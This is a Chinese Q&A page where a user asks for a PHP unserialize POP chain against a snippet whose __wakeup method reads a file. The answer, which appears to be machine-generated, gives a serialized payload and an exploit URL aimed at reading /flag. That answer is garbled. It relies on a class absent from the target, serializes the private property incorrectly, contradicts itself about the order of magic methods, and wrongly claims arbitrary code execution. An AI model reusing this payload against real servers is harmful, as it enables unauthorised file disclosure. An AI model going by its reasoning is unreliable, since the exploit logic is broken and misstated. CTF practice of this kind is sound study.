请对以下代码构造一段pop链,这只是一道试题:<?php highlight_file(__FILE__); class home{ private $args; function __construct($args){ $this->args=$args; } function __wakeup() { echo file_get_contents($this->args); } } $a=$_GET['a']; unserialize($a);
时间: 2023-06-11 08:10:41 浏览: 100
highlight.rar_diffuse_highlight_specular_visual c
5星 · 资源好评率100%
首先需要构造一个类,这个类需要实现__destruct()方法,将一个对象的属性指向另一个对象,从而构造出pop链。代码如下:
```
class a {
public $b;
function __destruct() {
$this->b->args = 'file.php';
}
}
$payload = 'O:1:"a":1:{s:1:"b";O:4:"home":1:{s:4:"args";s:5:"/flag";}}';
$popchain = urlencode(base64_encode(serialize(new a())));
$exploit = "http://example.com/vuln.php?a={$payload}";
```
这个pop链的原理如下:
1. 当执行完 unserialize($a) 后,会实例化一个 a 类的对象;
2. 当这个 a 类的对象被销毁时,会执行 __destruct() 方法;
3. 在 __destruct() 方法中,将 $this->b 指向的对象 home 的 $args 属性修改为 'file.php';
4. 当执行完 unserialize($popchain) 后,会再次实例化一个 a 类的对象,因为这个对象的 $b 属性指向的是已经被修改过的 home 类的对象,所以在执行 __wakeup() 方法时,会读取 'file.php' 文件的内容并输出。
这样就构造出了一个pop链,可以通过 $exploit 触发漏洞,执行任意代码。
阅读全文